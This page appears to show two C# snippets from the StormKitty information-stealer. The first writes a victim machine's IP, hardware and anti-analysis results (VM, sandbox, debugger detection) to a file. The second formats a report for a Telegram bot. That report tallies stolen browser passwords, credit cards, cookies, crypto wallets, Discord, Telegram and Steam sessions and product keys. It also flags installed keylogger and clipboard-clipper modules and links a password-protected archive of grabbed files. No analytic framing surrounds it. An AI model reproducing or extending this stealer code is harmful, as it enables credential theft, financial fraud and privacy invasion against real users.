Example #1
0
 public static void Save(string sSavePath)
 {
     try
     {
         string SystemInfoText = (""
                                  + "\n[IP]"
                                  + "\nExternal IP: " + SystemInfo.GetPublicIP()
                                  + "\nInternal IP: " + SystemInfo.GetLocalIP()
                                  + "\nGateway IP: " + SystemInfo.GetDefaultGateway()
                                  + "\n"
                                  + "\n[Machine]"
                                  + "\nUsername: "******"\nCompname: " + SystemInfo.compname
                                  + "\nSystem: " + SystemInfo.GetSystemVersion()
                                  + "\nCPU: " + SystemInfo.GetCPUName()
                                  + "\nGPU: " + SystemInfo.GetGPUName()
                                  + "\nRAM: " + SystemInfo.GetRamAmount()
                                  + "\nDATE: " + SystemInfo.datenow
                                  + "\nSCREEN: " + SystemInfo.ScreenMetrics()
                                  + "\nBATTERY: " + SystemInfo.GetBattery()
                                  + "\nWEBCAMS COUNT: " + WebcamScreenshot.GetConnectedCamerasCount()
                                  + "\n"
                                  + "\n[Virtualization]"
                                  + "\nVirtualMachine: " + AntiAnalysis.VirtualBox()
                                  + "\nSandBoxie: " + AntiAnalysis.SandBox()
                                  + "\nEmulator: " + AntiAnalysis.Emulator()
                                  + "\nDebugger: " + AntiAnalysis.Debugger()
                                  + "\nProcesse: " + AntiAnalysis.Processes()
                                  + "\nHosting: " + AntiAnalysis.Hosting()
                                  + "\nAntivirus: " + SystemInfo.GetAntivirus()
                                  + "\n");
         System.IO.File.WriteAllText(sSavePath, SystemInfoText);
     } catch (System.Exception ex) { Logging.Log("SysInfo >> Failed fetch system info\n" + ex); }
 }
Example #2
0
        /// <summary>
        /// Format system information for sending to telegram bot
        /// </summary>
        /// <returns>String with formatted system information</returns>
        private static void SendSystemInfo(string url)
        {
            UploadKeylogs();

            // Get info
            string info = (""
                           + "\n  šŸ˜¹ *StormKitty - Report:*"
                           + "\nDate: " + SystemInfo.datenow
                           + "\nSystem: " + SystemInfo.GetSystemVersion()
                           + "\nUsername: "******"\nCompName: " + SystemInfo.compname
                           + "\nLanguage: " + Flags.GetFlag(SystemInfo.culture.Split('-')[1]) + " " + SystemInfo.culture
                           + "\nAntivirus: " + SystemInfo.GetAntivirus()
                           + "\n"
                           + "\n  šŸ’» *Hardware:*"
                           + "\nCPU: " + SystemInfo.GetCPUName()
                           + "\nGPU: " + SystemInfo.GetGPUName()
                           + "\nRAM: " + SystemInfo.GetRamAmount()
                           + "\nPower: " + SystemInfo.GetBattery()
                           + "\nScreen: " + SystemInfo.ScreenMetrics()
                           + "\nWebcams count: " + WebcamScreenshot.GetConnectedCamerasCount()
                           + "\n"
                           + "\n  šŸ“” *Network:* "
                           + "\nGateway IP: " + SystemInfo.GetDefaultGateway()
                           + "\nInternal IP: " + SystemInfo.GetLocalIP()
                           + "\nExternal IP: " + SystemInfo.GetPublicIP()
                           + "\n" + SystemInfo.GetLocation()
                           + "\n"
                           + "\n  šŸ’ø *Domains info:*"
                           + Counter.GetLValue("šŸ¦ *Banking services*", Counter.DetectedBankingServices, '-')
                           + Counter.GetLValue("šŸ’° *Cryptocurrency services*", Counter.DetectedCryptoServices, '-')
                           + Counter.GetLValue("šŸŽØ *Social networks*", Counter.DetectedSocialServices, '-')
                           + Counter.GetLValue("šŸ“ *P**n websites*", Counter.DetectedPornServices, '-')
                           + GetKeylogsHistory()
                           + "\n"
                           + "\n  šŸŒ *Browsers:*"
                           + Counter.GetIValue("šŸ”‘ Passwords", Counter.Passwords)
                           + Counter.GetIValue("šŸ’³ CreditCards", Counter.CreditCards)
                           + Counter.GetIValue("šŸŖ Cookies", Counter.Cookies)
                           + Counter.GetIValue("šŸ“‚ AutoFill", Counter.AutoFill)
                           + Counter.GetIValue("ā³ History", Counter.History)
                           + Counter.GetIValue("šŸ”– Bookmarks", Counter.Bookmarks)
                           + Counter.GetIValue("šŸ“¦ Downloads", Counter.Downloads)
                           + "\n"
                           + "\n  šŸ—ƒ *Software:*"
                           + Counter.GetIValue("šŸ’° Wallets", Counter.Wallets)
                           + Counter.GetIValue("šŸ“” FTP hosts", Counter.FTPHosts)
                           + Counter.GetIValue("šŸ”Œ VPN accounts", Counter.VPN)
                           + Counter.GetIValue("šŸ¦¢ Pidgin accounts", Counter.Pidgin)
                           + Counter.GetSValue("šŸ“« Outlook accounts", Counter.Outlook)
                           + Counter.GetSValue("āœˆļø Telegram sessions", Counter.Telegram)
                           + Counter.GetSValue("ā˜ļø Skype session", Counter.Skype)
                           + Counter.GetSValue("šŸ’¬ Discord token", Counter.Discord)
                           + Counter.GetSValue("šŸŽ® Steam session", Counter.Steam)
                           + Counter.GetSValue("šŸŽ® Uplay session", Counter.Uplay)
                           + Counter.GetSValue("šŸŽ® BattleNET session", Counter.BattleNET)
                           + "\n"
                           + "\n  šŸ§­ *Device:*"
                           + Counter.GetSValue("šŸ— Windows product key", Counter.ProductKey)
                           + Counter.GetIValue("šŸ›° Wifi networks", Counter.SavedWifiNetworks)
                           + Counter.GetSValue("šŸ“ø Webcam screenshot", Counter.WebcamScreenshot)
                           + Counter.GetSValue("šŸŒƒ Desktop screenshot", Counter.DesktopScreenshot)
                           + "\n"
                           + "\n šŸ¦  *Installation:*"
                           + Counter.GetBValue(Config.Autorun == "1" && (Counter.BankingServices || Counter.CryptoServices),
                                               "āœ… Startup installed", "ā›”ļø Startup disabled")
                           + Counter.GetBValue(Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1",
                                               "āœ… Clipper installed", "ā›”ļø Clipper not installed")
                           + Counter.GetBValue(Config.KeyloggerModule == "1" && Counter.BankingServices && Config.Autorun == "1",
                                               "āœ… Keylogger installed", "ā›”ļø Keylogger not installed")
                           + "\n"
                           + "\n  šŸ“„ *File Grabber:*" + ((Config.GrabberModule != "1") ? "\n   āˆŸ ā›”ļø Disabled in configuration" : "")
                           + Counter.GetIValue("šŸ“‚ Images", Counter.GrabberImages)
                           + Counter.GetIValue("šŸ“‚ Documents", Counter.GrabberDocuments)
                           + Counter.GetIValue("šŸ“‚ Database files", Counter.GrabberDatabases)
                           + Counter.GetIValue("šŸ“‚ Source code files", Counter.GrabberSourceCodes)
                           + "\n"
                           + $"\nšŸ”— [Archive download link]({url})"
                           + "\nšŸ” *Archive password is*: \"_" + Implant.StringsCrypt.ArchivePassword + "\"_"
                           );

            int last = GetLatestMessageId();

            if (last != -1)
            {
                EditMessage(info, last);
            }
            else
            {
                SetLatestMessageId(SendMessage(info));
            }
        }